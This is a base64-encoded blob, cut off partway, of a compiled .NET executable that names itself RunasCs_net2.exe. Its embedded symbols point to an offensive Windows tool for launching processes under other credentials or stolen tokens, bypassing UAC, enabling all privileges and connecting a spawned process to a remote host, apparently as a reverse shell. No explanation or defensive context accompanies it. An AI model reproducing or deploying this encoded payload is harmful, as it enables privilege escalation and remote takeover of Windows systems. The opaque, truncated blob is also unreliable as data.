AAAFAF0gAAAGAGcgAAAHAG0gAgABAHMgAgACAH0gAAADAIggAAAEAJkgAAABAJ8gAAACAKogAAADALEgAAAEAMYgAAABANsgAgACAOEgAAADAOogAgAEAP8gAAAFABMhACAAAAAAAAABACAhAAACADUhAAADAEMhAgAEAFghAAAFAHceACAGAMcJAAAHAGchAgABAEsfAAACANgdAAADAH0hAAABAEsfAAABANgdAAACAIYhAAADAIgLAAABANgdAAACAIshAAABANgdAAACANALAQABAKQhAQACALIhAQADAL0hAQAEAMohAQAFANchAQAGAN0hAAABAOMhAAACAOUhAAADAOohAAABAPMhAAABAP0hAgACAA8iAAABAOMhAAABABciAAABAHMgAAACAH0gAAABAHMgAAABAGQiAAABANgdAgACAMkiAAABANgdAAACACYjAAADAC8jAAAEAEQjAgAFAEsfAAABACYjAAACAKsfAAADAGAjAAAEAGsjAAABAGsjAAACALQfAAADACYjAAAEAGAjAAAFAKsfAAAGAHUjAAAHAM8fAAAIAAYgAgAJAIEjAAABAOEjAAABANgdAAACACYjAAADAGAjAAAEAKsfAgAFACgkAAABACYjAAACAKsfAAADAGAjAAAEAGsjAAAFAD0kAAABAB0lAAACAGQiAAADAAYgAgAEAKkEAgAFAJEEAgAGAJ0EAgAHAIoEAAABACYjAAACAGAjAAADAKsfAAAEAGsjAAAFAD0kAAAGAM8fAAAHAAYgAAAIAIEjAAAJACgkAAABACYjAAACAGAjAAADAKsfAAAEAGsjAAAFALQfAAAGAM8fAAAHAFIlAAAIAAYgAAAJAIEjAAAKACgkAAABACYjAAACAGAjAAADAKsfAAAEAM8fAAAFAGsjAAAGALQfAAAHAD0kAAAIAAYgAAAJAIEjAAAKACgkAAABACYjAAACAGAjAAADAKsfAAAEAGsjAAAFAD0kAAAGAM8fAAAHAFwlAAAIAEQjAAAJAAYgAAAKAIEjAAALACgkAAABACYjAAACAKsfAAADAHUlAAAEAGAjAAAFAB0lAAAGAGsjAAAHABciAAAIAGQiAAAJAFwlAAAKAFIlAAALAHklAAABAM4lAAACANMlAgADANolAAAEAOElAgAFAOklACABAPklACACAAQmAAADAHceAAABAA0mAAACAD4JAAADAAQmAAAEAHceACAAAAAAAAABACwOAAABADQOAAABABkmAAABACEmAAABAM4lAAACACYmAAADAFYbAAAEAOElAgAFAOklACAAAAAAAAABADMmAiACAEcmAAADAGcgAiAEAFQmACAAAAAAAAABAGMmAAACAGgmAAADAHgmAAAEAI4mAAABAKQmAAACALcmAAABAFYbAAABAGMmAAACAMImAAADAM0mAAABANsmAAACAOImAgADAOsmAAABAGMmAAACAPImAAADAAAnAAAEABMnAAAFABwnAAABAGMmAAACAPImAAADACsnAAAEACEmAAABADYnAAACADknAAADAEUnAAAEAEonAAABAM4lAAACACYmAAADAFgnAAABAFwnAAACAHInAAADAIInAAABAI0nAAACAJonACADAKgnAAAEAKwnAAAFALInAAAGAMcnAgAHAN8nAAABAKQfAAACACYjAAABAGcgAAACABMoAAADABgoAAAEACEoAAABAKQfAAACACYjAAADAGsjAAABAN4eAAACAKQoAAADALooAAAEAMsoAgAFAOIoACAAAAAAAAABAI0nAAACAO8oAAADAPYoAAAEAP0oAAABAN4eAAACAKQoAAADALooAAAEAMsoAgAFAOIoAAABAAUpAAACABopAAADAC0pAAAEAD0pAAAFAE0pAAAGAF0pAAAHAG0pAAAIAH0pAAAJAI0pAAAKAJ0pAgALACEmAAABAN4eAAACAKQoAAADALooAAAEAMsoAAABAK0pAAACALEpAAABAK0pAAABAMMpAAACAM8pACADANwpAAAEAOUpAAAFAPIpAAAGAAAqAAABAA0qAAACABoqACADAO8oACAAAAAAACABAB0eACACACkeACADADMeAAAEAD8eAAAFAEseAAAGAFseAAABALcdAAABACEqAAABACsqAAABANgdAAABANgdAAACADcqAAABANgdAAABAF8qAAACAGkqAAABAGkqAAABAHYqAAABAHwqAAABAGQiAAABAIQqAAABAPYqAAABAP8qAAABAP8qWQCrAm4FYQCrAj4AaQDmHHMFcQDuHD4AeQAbHZUBgQCrAm4FCQBSHXgFCQCrAj4AiQBtHYAFCQCrAkIAiQBtHYYFkQCrAkIAmQCrAo4FqQCrAj4AsQCrAj4AeQAtIpYFuQA7IpkAyQBOIqAFyQBaIqUF0QBzIl0FiQCBIrQF4QCdIroF4QCjIsAF6QDAIsUFuQCrAm4F8QADI9cF8QAOI90F8QADI+EFuQAYI3QBcQBWI0IAKQCrAm4FuQCNI/wF8QC1IwEGiQDBIwcGAQHZIz4AiQDyIxQGiQD4I3gFEQEMJBsGiQAjJCAGGQGrAj4AIQEEJT4G2QAUJXgFiQCBIkgGOQF4BFwGOQFHJd0FiQCBImwGiQBtHXoGEQCrAj4AOQGNJZEGiQBtHWIFiQBtHZUGQQGrArAGKQCrAj4AKQDlJ5EGiQAYIwcGKQDyJ8QGeQABKPwFeQAOKMkGUQFAKOIGeQAtIusGeQBZKPIGuQBoKPkGuQCrAv0GeQBwKAIHuQDBI3QBeQB8KBEHyQBaIi4HiQCLKDQHaQGrAj4ADACrAj4AEQAUJXgFDAAzKlAHeQBBKsoCeQBMKoYHeQBVKrIAFACrAj4AFAAzKr4H0QDAIlIFFACJKtsHcQGrAkIAFACyKuEHHADPKvUHJADbKgkIJADjKg4IHADtKhMIDACyKjAILADPKgkILADtKhMIcQAEK0IANACrAj4AiQAKKwoAPACrAm4FPAAzKr4HPAAkK24INAAzKlAHNAAwK5EGNAA6K3cIDgAEAA0ACAAIAFAACAAMAFUACAAQAFoACAAUAF8ACAAYAGQACAAcAFoACAAgAGQACAAkAGkACAAoAG4ACAAsAHMACAAwAHgACAA0AH0ACAA4AIIACQA8AIoACQBAAGkACQBEAI8ACQBIAFoACQBMAGkACQBQAFUACQBUAFoACABYAJQACADcAF8ACADgAFUACADkAFoACADoAGQACAAcAV8ACAAgAVUACAAkAVoACAAoAWQACAAsAWkACAAwAW4ACAA0AXoCCAA4AX8CCAA8AXMACABAAXgACABEAYQCCABIAYkCCABMAY4CCABwAVoACAB0AZMCCQB4AVUACQB8AVoACQCAAZQABQCEAZsCBQCIAZ0CBQCMAZ8CBQCQAaECBQCUAaMCCACYAV8ACACcAaUCCQCwAVsDCQC0AWADCQC4AWUDCQC8AWoDCQDAAYIACQDEAW8DCQDIAWADCQDMAWADCQDQAWADCQDUAXQDCQDYAXkDCQDcAX4DCQDgAYMDCQDkAYgDCQDoAY0DCQDsAZIDCQDwAZcDCQD0AZwDCQD4AVUACQD8AVoACQAAAmkACQAEAnMACQAIAqEDCQAMAqYDCQAQAqsDCQAUArADCQAYAlAACQAcArUDCQAgAlUACQAkAloACQAoAmkACQAsAnMACQAwAqEDCQA0AqYDCQA4AqsDCQA8AlAACQBAAroDCQBEAr8DCQBMAlUACQBQAloACQBUAmkACQBYAnMACQBcApcDCQBgApIDCQBkAo0DCQBoAogDCABwAlUACAB0AloACAB8AlUACACAAloACACEAmQACACIAmkACACMAm4ACACQAnoCCACUAn8CCACYAnMACACcAngACADIAl8ACADMAtgDCADQAt0DCADUAuIDCADYAucDCADcAuwDCQDgAloACQDkAm8DCQDoAmADCQDsAlUACQDwAloACQD0AmkACQD4AnMACQD8AqEDCQAAA6YDCQAEA6sDCQAIA7ADCQAMA1AACQAQA/EDCQAUA7UDCAAgA1UACAAkA1oACAAoA2QACAAsA2kACAAwA24ACAA0A3oCCAA4A38CCAA8A3MACABAA3gACABEA4QCCABIA4kCCABMA44CCABQA3UECABUA3oECABYA38ECABcA6EDCABgA4QECABkA4kECABoA44ECABsA5MECABwA5gECAB0A50ECAB4A6IECAB8A6cECACAA6wECACEA7EECACIA7YECACMA7sECACQA8AECACUA8UECACYA8oECACcA6YDCACgA88ECACkA9QECACoA9kECACsA94ECACwA+MECAC0A+gECAC4A+0ECAC8A/IECADAA/cECADEA/wECADIAwEFCADMAwYFCADQAwsFCADUAxAFCADYAxUFCADcAxoFCADgAx8FCADoAygFCADsA5QACADwA18ACAD0A9gDCAD4A90DCAD8A+IDCAAABOcDCAAEBOwDCQAMBF8ACQAQBFUACQAUBFoACQAYBGkACQAcBHMACQAgBKEDCQAkBKYDCQAoBKsDCQAsBJIDCQAwBDEFLgALAJwILgATAKUIowErAlUAwwErAlUAgwRDAVUAFwCdAhkAlAUbAJQFHQCUBTEAnQKIALcGigC7BqwAvwauAL8GsAC/BrIAvwazAJ0CtAC/Br8AnQJQAUMHuQG/BrsBnQLHAZ0C2wGdAt8BnQLjAZ0C5QGdAiACsQcrAsEGNgK0B1ECnQKNAkcHmQJHB5sCnQKdApQFnwKUBaEClAUEAAAAAAAgAAEAFAAAACUAfAWbBa0FzAXmBesF8gUNBicGLwZQBmIGcwaBBoYGiwabBtIGBwcZBzoHVgduB3kHiweUB5wHrAfGB88H0wcXCEIIfQiqHcsd5x0lIHEhmSG8JcMlSQe3B+0HAQg6CFkIZwhAAQsA5wQBAEABDQDzBAEAQAEPAAcFAgBAAREAHwUCAEABEwAuBQMAQAEVADsFAgBgERcASAUCAEABGQBSBQIAQAEbAGMFAgBGAR0AdAUDAEQBHwCCBQIARAEhAJoFAgBEASMArgUEAEABJQDGBQIARAEnANYFAwAAASkA4QUDAEABKwD5BQMAQAEtAAIGAwBGAS8AEgYFAEYBMQApBgUARgEzAFsGBQBGATUAcwYFAEYBNwCDBgUAQgE5AM4GBgBAATsA2AYGAEABPQDgBgYABgE/AOYGBgBGAUEA9gYGAEQBQwABBwYARAFtALcMBwBAAW8AzwwIAEQBcQDoDAcAAAFzAPoMCABEAXUABg0HAEABdwAZDQgAQAF5ACYNCAAAAXsAPg0CAEABfQBGDQgARAF/AFwNAgBEAYEAdg0CAEABgwCIDQIARAGFAKUNAgBAAYcAsg0CAEABiQDADQIAQAGLAMcNAgBAAY0Azg0CAEABjwDiDQIAQAGRAPwNCABAAZMAEg4CAEQBlQAaDgIAQAGlAAUVAgBEAacAGRUCAEABqQAFFQIAQAGrAC0VAgBAAa0ARhUCAEABrwBaFQIAQAGxAG0VAgBAAbMAhRUCAEABtQCbFQIAYBG3AEgFAgBAAbkA5wQBAOgmAAAdAQSAAAAAAAAAAAAAAAAAAAAAALwcAAACAAAAAAAAAAAAAAABAFoCAAAAAAIAAAAAAAAAAAAAAAEAYwIAAAAABAADAAUAAwAGAAMABwADAAgAAwAJAAMACgADAAsAAwANAAwADgAMAA8ADAAQAAwAEQAMABIADAATAAwAFAAMABYAFQAXABUAGAAVABkAFQAaABUAGwAVABwAFQAdABUAHgAVAB8AFQAgABUAIQAVACUAJAAAAAAAADxNb2R1bGU+AFJ1bmFzQ3NfbmV0Mi5leGUAUnVuYXNDc0V4Y2VwdGlvbgBSdW5hc0NzAFNUQVJUVVBJTkZPAFByb2Nlc3NJbmZvcm1hdGlvbgBTRUNVUklUWV9BVFRSSUJVVEVTAFNFQ1VSSVRZX0lNUEVSU09OQVRJT05fTEVWRUwAU09DS0FERFJfSU4AV1NBRGF0YQBTRV9PQkpFQ1RfVFlQRQBQUk9GSUxFSU5GTwBXaW5kb3dTdGF0aW9uREFDTABBQ0NFU1NfTUFTSwBTRUNVUklUWV9JTkZPUk1BVElPTgBBQ0xfSU5GT1JNQVRJT05fQ0xBU1MAU0lEX05BTUVfVVNFAFNpZElkZW50aWZpZXJBdXRob3JpdHkAQUNMX1NJWkVfSU5GT1JNQVRJT04AQUNFX0hFQURFUgBBQ0NFU1NfQUxMT1dFRF9BQ0UAQWNjZXNzVG9rZW4AVE9LRU5fSU5GT1JNQVRJT05fQ0xBU1MASW50ZWdyaXR5TGV2ZWwAVG9rZW5Hcm91cEF0dHJpYnV0ZXMAVE9LRU5fUFJJVklMRUdFU18yAFNJRF9JREVOVElGSUVSX0FVVEhPUklUWQBTSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fTUFOREFUT1JZX0xBQkVMAFRPS0VOX0VMRVZBVElPTgBUT0tFTl9FTEVWQVRJT05fVFlQRQBMVUlEAExVSURfQU5EX0FUVFJJQlVURVMAVE9LRU5fUFJJVklMRUdFUwBSdW5hc0NzTWFpbkNsYXNzAE1haW5DbGFzcwBtc2NvcmxpYgBTeXN0ZW0ARXhjZXB0aW9uAE9iamVjdABWYWx1ZVR5cGUARW51bQBlcnJvcl9zdHJpbmcAR2V0V2luMzJFcnJvclN0cmluZwAuY3RvcgBTdGFydGZfVXNlU3RkSGFuZGxlcwBUb2tlblByaW1hcnkAVG9rZW5JbXBlcnNvbmF0aW9uAExPR09OMzJfUFJPVklERVJfREVGQVVMVABMT0dPTjMyX1BST1ZJREVSX1dJTk5UNTAATE9HT04zMl9MT0dPTl9JTlRFUkFDVElWRQBMT0dPTjMyX0xPR09OX05FVFdPUksATE9HT04zMl9MT0dPTl9CQVRDSABMT0dPTjMyX0xPR09OX1NFUlZJQ0UATE9HT04zMl9MT0dPTl9ORVRXT1JLX0NMRUFSVEVYVABMT0dPTjMyX0xPR09OX05FV19DUkVERU5USUFMUwBFUlJPUl9MT0dPTl9UWVBFX05PVF9HUkFOVEVEAEJVRkZFUl9TSVpFX1BJUEUAQ1JFQVRFX05PX1dJTkRPVwBDUkVBVEVfU1VTUEVOREVEAENSRUFURV9VTklDT0RFX0VOVklST05NRU5UAERVUExJQ0FURV9TQU1FX0FDQ0VTUwBEQUNMX1NFQ1VSSVRZX0lORk9STUFUSU9OAExPR09OX1dJVEhfUFJPRklMRQBMT0dPTl9ORVRDUkVERU5USUFMU19PTkxZAEdldEN1cnJlbnRQcm9jZXNzAHNvY2tldABoRXJyb3JXcml0ZQBoT3V0cHV0UmVhZABoT3V0cHV0V3JpdGUAc3RhdGlvbkRhY2xPYmoAaFRva2VuUHJldmlvdXNJbXBlcnNvbmF0aW5nVGhyZWFkAENsb3NlSGFuZGxlAFdhaXRGb3JTaW5nbGVPYmplY3QASW1wZXJzb25hdGVMb2dnZWRPblVzZXIAU2V0VGhyZWFkVG9rZW4AUmVzdW1lVGhyZWFkAFJldmVydFRvU2VsZgBMb2dvblVzZXIARHVwbGljYXRlVG9rZW5FeABPcGVuUHJvY2Vzc1Rva2VuAENyZWF0ZVByb2Nlc3MAQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAQ3JlYXRlUHJvY2Vzc0FzVXNlcgBDcmVhdGVQcm9jZXNzV2l0aFRva2VuVwBTZXRTZWN1cml0eUluZm8AQ3JlYXRlUGlwZQBTZXROYW1lZFBpcGVIYW5kbGVTdGF0ZQBSZWFkRmlsZQBEdXBsaWNhdGVIYW5kbGUAQ3JlYXRlRW52aXJvbm1lbnRCbG9jawBEZXN0cm95RW52aXJvbm1lbnRCbG9jawBTeXN0ZW0uVGV4dABTdHJpbmdCdWlsZGVyAEdldFVzZXJQcm9maWxlRGlyZWN0b3J5AExvYWRVc2VyUHJvZmlsZQBVbmxvYWRVc2VyUHJvZmlsZQBTeXN0ZW0uTmV0LlNvY2tldHMAQWRkcmVzc0ZhbWlseQBTb2NrZXRUeXBlAFByb3RvY29sVHlwZQBXU0FTb2NrZXQAY29ubmVjdABodG9ucwBXU0FHZXRMYXN0RXJyb3IAV1NBU3RhcnR1cABjbG9zZXNvY2tldABHZXRQcm9jZXNzRnVuY3Rpb24AQ3JlYXRlQW5vbnltb3VzUGlwZUV2ZXJ5b25lQWNjZXNzAFJlYWRPdXRwdXRGcm9tUGlwZQBDb25uZWN0UmVtb3RlAEltcGVyc29uYXRlTG9nZ2VkT25Vc2VyV2l0aFByb3BlcklMAFJldmVydFRvU2VsZkN1c3RvbQBHZXRVc2VyRW52aXJvbm1lbnRCbG9jawBJc1VzZXJQcm9maWxlQ3JlYXRlZABDcmVhdGVQcm9jZXNzV2l0aExvZ29uV1VhY0J5cGFzcwBQYXJzZUNvbW1vblByb2Nlc3Nlc0luQ29tbWFuZGxpbmUASXNMaW1pdGVkVXNlckxvZ29uAENoZWNrQXZhaWxhYmxlVXNlckxvZ29uVHlwZQBSdW5hc1NldHVwU3RkSGFuZGxlc0ZvclByb2Nlc3MAUnVuYXNSZW1vdGVJbXBlcnNvbmF0aW9uAFJ1bmFzQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAUnVuYXNDcmVhdGVQcm9jZXNzV2l0aFRva2VuVwBSdW5hc0NyZWF0ZVByb2Nlc3NBc1VzZXJXAENsZWFudXBIYW5kbGVzAFJ1bkFzAGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBwcm9jZXNzAHRocmVhZABwcm9jZXNzSWQAdGhyZWFkSWQATGVuZ3RoAGxwU2VjdXJpdHlEZXNjcmlwdG9yAGJJbmhlcml0SGFuZGxlAHZhbHVlX18AU2VjdXJpdHlBbm9ueW1vdXMAU2VjdXJpdHlJZGVudGlmaWNhdGlvbgBTZWN1cml0eUltcGVyc29uYXRpb24AU2VjdXJpdHlEZWxlZ2F0aW9uAHNpbl9mYW1pbHkAc2luX3BvcnQAc2luX2FkZHIAc2luX3plcm8Ad1ZlcnNpb24Ad0hpZ2hWZXJzaW9uAGlNYXhTb2NrZXRzAGlNYXhVZHBEZwBscFZlbmRvckluZm8Ac3pEZXNjcmlwdGlvbgBzelN5c3RlbVN0YXR1cwBTRV9VTktOT1dOX09CSkVDVF9UWVBFAFNFX0ZJTEVfT0JKRUNUAFNFX1NFUlZJQ0UAU0VfUFJJTlRFUgBTRV9SRUdJU1RSWV9LRVkAU0VfTE1TSEFSRQBTRV9LRVJORUxfT0JKRUNUAFNFX1dJTkRPV19PQkpFQ1QAU0VfRFNfT0JKRUNUAFNFX0RTX09CSkVDVF9BTEwAU0VfUFJPVklERVJfREVGSU5FRF9PQkpFQ1QAU0VfV01JR1VJRF9PQkpFQ1QAU0VfUkVHSVNUUllfV09XNjRfMzJLRVkAZHdTaXplAGxwVXNlck5hbWUAbHBQcm9maWxlUGF0aABscERlZmF1bHRQYXRoAGxwU2VydmVyTmFtZQBscFBvbGljeVBhdGgAaFByb2ZpbGUAVU9JX05BTUUARVJST1JfSU5TVUZGSUNJRU5UX0JVRkZFUgBTRUNVUklUWV9ERVNDUklQVE9SX1JFVklTSU9OAEFDTF9SRVZJU0lPTgBNQVhEV09SRABBQ0NFU1NfQUxMT1dFRF9BQ0VfVFlQRQBDT05UQUlORVJfSU5IRVJJVF9BQ0UASU5IRVJJVF9PTkxZX0FDRQBPQkpFQ1RfSU5IRVJJVF9BQ0UATk9fUFJPUEFHQVRFX0lOSEVSSVRfQUNFAE5PX0VSUk9SAEVSUk9SX0lOVkFMSURfRkxBR1MAR2V0UHJvY2Vzc1dpbmRvd1N0YXRpb24AR2V0VXNlck9iamVjdEluZm9ybWF0aW9uAE9wZW5XaW5kb3dTdGF0aW9uAE9wZW5EZXNrdG9wAENsb3NlV2luZG93U3RhdGlvbgBDbG9zZURlc2t0b3AAU2V0UHJvY2Vzc1dpbmRvd1N0YXRpb24ARnJlZVNpZABHZXRVc2VyT2JqZWN0U2VjdXJpdHkAR2V0U2VjdXJpdHlEZXNjcmlwdG9yRGFjbABHZXRBY2xJbmZvcm1hdGlvbgBJbml0aWFsaXplU2VjdXJpdHlEZXNjcmlwdG9yAEdldExlbmd0aFNpZABJbml0aWFsaXplQWNsAEdldEFjZQBBZGRBY2UAQWRkQWNjZXNzQWxsb3dlZEFjZQBTZXRTZWN1cml0eURlc2NyaXB0b3JEYWNsAFNldFVzZXJPYmplY3RTZWN1cml0eQBDb3B5U2lkAExvb2t1cEFjY291bnROYW1lAGhXaW5zdGEAaERlc2t0b3AAdXNlclNpZABHZXRVc2VyU2lkAEFkZEFsbG93ZWRBY2VUb0RBQ0wAQWRkQWNlVG9XaW5kb3dTdGF0aW9uAEFkZEFjZVRvRGVza3RvcABBZGRBY2xUb0FjdGl2ZVdpbmRvd1N0YXRpb24AREVMRVRFAFJFQURfQ09OVFJPTABXUklURV9EQUMAV1JJVEVfT1dORVIAU1lOQ0hST05JWkUAU1RBTkRBUkRfUklHSFRTX1JFUVVJUkVEAFNUQU5EQVJEX1JJR0hUU19SRUFEAFNUQU5EQVJEX1JJR0hUU19XUklURQBTVEFOREFSRF9SSUdIVFNfRVhFQ1VURQBTVEFOREFSRF9SSUdIVFNfQUxMAFNQRUNJRklDX1JJR0hUU19BTEwAQUNDRVNTX1NZU1RFTV9TRUNVUklUWQBNQVhJTVVNX0FMTE9XRUQAR0VORVJJQ19SRUFEAEdFTkVSSUNfV1JJVEUAR0VORVJJQ19FWEVDVVRFAEdFTkVSSUNfQUxMAEdFTkVSSUNfQUNDRVNTAERFU0tUT1BfUkVBRE9CSkVDVFMAREVTS1RPUF9DUkVBVEVXSU5ET1cAREVTS1RPUF9DUkVBVEVNRU5VAERFU0tUT1BfSE9PS0NPTlRST0wAREVTS1RPUF9KT1VSTkFMUkVDT1JEAERFU0tUT1BfSk9VUk5BTFBMQVlCQUNLAERFU0tUT1BfRU5VTUVSQVRFAERFU0tUT1BfV1JJVEVPQkpFQ1RTAERFU0tUT1BfU1dJVENIREVTS1RPUABERVNLVE9QX0FMTABXSU5TVEFfRU5VTURFU0tUT1BTAFdJTlNUQV9SRUFEQVRUUklCVVRFUwBXSU5TVEFfQUNDRVNTQ0xJUEJPQVJEAFdJTlNUQV9DUkVBVEVERVNLVE9QAFdJTlNUQV9XUklURUFUVFJJQlVURVMAV0lOU1RBX0FDQ0VTU0dMT0JBTEFUT01TAFdJTlNUQV9FWElUV0lORE9XUwBXSU5TVEFfRU5VTUVSQVRFAFdJTlNUQV9SRUFEU0NSRUVOAFdJTlNUQV9BTEwAT1dORVJfU0VDVVJJVFlfSU5GT1JNQVRJT04AR1JPVVBfU0VDVVJJVFlfSU5GT1JNQVRJT04AU0FDTF9TRUNVUklUWV9JTkZPUk1BVElPTgBVTlBST1RFQ1RFRF9TQUNMX1NFQ1VSSVRZX0lORk9STUFUSU9OAFVOUFJPVEVDVEVEX0RBQ0xfU0VDVVJJVFlfSU5GT1JNQVRJT04AUFJPVEVDVEVEX1NBQ0xfU0VDVVJJVFlfSU5GT1JNQVRJT04AUFJPVEVDVEVEX0RBQ0xfU0VDVVJJVFlfSU5GT1JNQVRJT04AQWNsUmV2aXNpb25JbmZvcm1hdGlvbgBBY2xTaXplSW5mb3JtYXRpb24AU2lkVHlwZVVzZXIAU2lkVHlwZUdyb3VwAFNpZFR5cGVEb21haW4AU2lkVHlwZUFsaWFzAFNpZFR5cGVXZWxsS25vd25Hcm91cABTaWRUeXBlRGVsZXRlZEFjY291bnQAU2lkVHlwZUludmFsaWQAU2lkVHlwZVVua25vd24AU2lkVHlwZUNvbXB1dGVyAFZhbHVlAEFjZUNvdW50AEFjbEJ5dGVzSW5Vc2UAQWNsQnl0ZXNGcmVlAEFjZVR5cGUAQWNlRmxhZ3MAQWNlU2l6ZQBIZWFkZXIATWFzawBTaWRTdGFydABTRUNVUklUWV9NQU5EQVRPUllfVU5UUlVTVEVEX1JJRABTRUNVUklUWV9NQU5EQVRPUllfTE9XX1JJRABTRUNVUklUWV9NQU5EQVRPUllfTUVESVVNX1JJRABTRUNVUklUWV9NQU5EQVRPUllfSElHSF9SSUQAU0VDVVJJVFlfTUFOREFUT1JZX1NZU1RFTV9SSUQAU0VDVVJJVFlfTUFOREFUT1JZX1BST1RFQ1RFRF9QUk9DRVNTX1JJRABTRV9QUklWSUxFR0VfRU5BQkxFRABUT0tFTl9BU1NJR05fUFJJTUFSWQBUT0tFTl9EVVBMSUNBVEUAVE9LRU5fSU1QRVJTT05BVEUAVE9LRU5fUVVFUlkAVE9LRU5fUVVFUllfU09VUkNFAFRPS0VOX0FESlVTVF9QUklWSUxFR0VTAFRPS0VOX0FESlVTVF9HUk9VUFMAVE9LRU5fQURKVVNUX0RFRkFVTFQAVE9LRU5fQURKVVNUX1NFU1NJT05JRABUT0tFTl9SRUFEAFRPS0VOX0FMTF9BQ0NFU1MATUFOREFUT1JZX0xBQkVMX0FVVEhPUklUWQBHZXRUb2tlbkluZm9ybWF0aW9uAExvb2t1cFByaXZpbGVnZU5hbWUAQWxsb2NhdGVBbmRJbml0aWFsaXplU2lkAFNldFRva2VuSW5mb3JtYXRpb24AR2V0U2lkU3ViQXV0aG9yaXR5AEdldFNpZFN1YkF1dGhvcml0eUNvdW50AEFkanVzdFRva2VuUHJpdmlsZWdlcwBMb29rdXBQcml2aWxlZ2VWYWx1ZQBjb252ZXJ0QXR0cmlidXRlVG9TdHJpbmcAU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMATGlzdGAxAEdldFRva2VuUHJpdmlsZWdlcwBJc0ZpbHRlcmVkVUFDVG9rZW4AU2V0VG9rZW5JbnRlZ3JpdHlMZXZlbABHZXRUb2tlbkludGVncml0eUxldmVsAEVuYWJsZVByaXZpbGVnZQBFbmFibGVBbGxQcml2aWxlZ2VzAFRva2VuVXNlcgBUb2tlbkdyb3VwcwBUb2tlblByaXZpbGVnZXMAVG9rZW5Pd25lcgBUb2tlblByaW1hcnlHcm91cABUb2tlbkRlZmF1bHREYWNsAFRva2VuU291cmNlAFRva2VuVHlwZQBUb2tlbkltcGVyc29uYXRpb25MZXZlbABUb2tlblN0YXRpc3RpY3MAVG9rZW5SZXN0cmljdGVkU2lkcwBUb2tlblNlc3Npb25JZABUb2tlbkdyb3Vwc0FuZFByaXZpbGVnZXMAVG9rZW5TZXNzaW9uUmVmZXJlbmNlAFRva2VuU2FuZEJveEluZXJ0AFRva2VuQXVkaXRQb2xpY3kAVG9rZW5PcmlnaW4AVG9rZW5FbGV2YXRpb25UeXBlAFRva2VuTGlua2VkVG9rZW4AVG9rZW5FbGV2YXRpb24AVG9rZW5IYXNSZXN0cmljdGlvbnMAVG9rZW5BY2Nlc3NJbmZvcm1hdGlvbgBUb2tlblZpcnR1YWxpemF0aW9uQWxsb3dlZABUb2tlblZpcnR1YWxpemF0aW9uRW5hYmxlZABUb2tlbkludGVncml0eUxldmVsAFRva2VuVUlBY2Nlc3MAVG9rZW5NYW5kYXRvcnlQb2xpY3kAVG9rZW5Mb2dvblNpZABUb2tlbklzQXBwQ29udGFpbmVyAFRva2VuQ2FwYWJpbGl0aWVzAFRva2VuQXBwQ29udGFpbmVyU2lkAFRva2VuQXBwQ29udGFpbmVyTnVtYmVyAFRva2VuVXNlckNsYWltQXR0cmlidXRlcwBUb2tlbkRldmljZUNsYWltQXR0cmlidXRlcwBUb2tlblJlc3RyaWN0ZWRVc2VyQ2xhaW1BdHRyaWJ1dGVzAFRva2VuUmVzdHJpY3RlZERldmljZUNsYWltQXR0cmlidXRlcwBUb2tlbkRldmljZUdyb3VwcwBUb2tlblJlc3RyaWN0ZWREZXZpY2VHcm91cHMAVG9rZW5TZWN1cml0eUF0dHJpYnV0ZXMAVG9rZW5Jc1Jlc3RyaWN0ZWQAVG9rZW5Qcm9jZXNzVHJ1c3RMZXZlbABUb2tlblByaXZhdGVOYW1lU3BhY2UAVG9rZW5TaW5nbGV0b25BdHRyaWJ1dGVzAFRva2VuQm5vSXNvbGF0aW9uAFRva2VuQ2hpbGRQcm9jZXNzRmxhZ3MAVG9rZW5Jc0xlc3NQcml2aWxlZ2VkQXBwQ29udGFpbmVyAFRva2VuSXNTYW5kYm94ZWQAVG9rZW5Jc0FwcFNpbG8ATWF4VG9rZW5JbmZvQ2xhc3MAU2FtZQBVbmtub3duAFVudHJ1c3RlZABMb3cATWVkaXVtAEhpZ2gAUHJvdGVjdGVkUHJvY2VzcwBEaXNhYmxlZABTRV9HUk9VUF9NQU5EQVRPUlkAU0VfR1JPVVBfRU5BQkxFRF9CWV9ERUZBVUxUAFNFX0dST1VQX0VOQUJMRUQAU0VfR1JPVVBfT1dORVIAU0VfR1JPVVBfVVNFX0ZPUl9ERU5ZX09OTFkAU0VfR1JPVVBfSU5URUdSSVRZAFNFX0dST1VQX0lOVEVHUklUWV9FTkFCTEVEAFNFX0dST1VQX1JFU09VUkNFAFNFX0dST1VQX0xPR09OX0lEAFByaXZpbGVnZUNvdW50AEx1aWQAQXR0cmlidXRlcwBwU0lEAExhYmVsAFRva2VuSXNFbGV2YXRlZABMb3dQYXJ0AEhpZ2hQYXJ0AFByaXZpbGVnZXMAaGVscABEaWN0aW9uYXJ5YDIAZ2V0TG9nb25UeXBlRGljdABnZXRDcmVhdGVQcm9jZXNzRnVuY3Rpb25EaWN0AEhlbHBSZXF1aXJlZABWYWxpZGF0ZVByb2Nlc3NUaW1lb3V0AFZhbGlkYXRlUmVtb3RlAFZhbGlkYXRlTG9nb25UeXBlAFZhbGlkYXRlQ3JlYXRlUHJvY2Vzc0Z1bmN0aW9uAERlZmF1bHRDcmVhdGVQcm9jZXNzRnVuY3Rpb24AUnVuYXNDc01haW4ATWFpbgBTeXN0ZW0uUnVudGltZS5Db21waWxlclNlcnZpY2VzAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAUnVuYXNDc19uZXQyAENvbnNvbGUAU3lzdGVtLklPAFRleHRXcml0ZXIAZ2V0X091dABGbHVzaABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMATWFyc2hhbABHZXRMYXN0V2luMzJFcnJvcgBTeXN0ZW0uQ29tcG9uZW50TW9kZWwAV2luMzJFeGNlcHRpb24AZ2V0X01lc3NhZ2UAbWVzc2FnZQBTdHJpbmcAQ29uY2F0AHdpbjMyRnVuY3Rpb25OYW1lAHJldHVybldpbjMyRXJyb3IARGxsSW1wb3J0QXR0cmli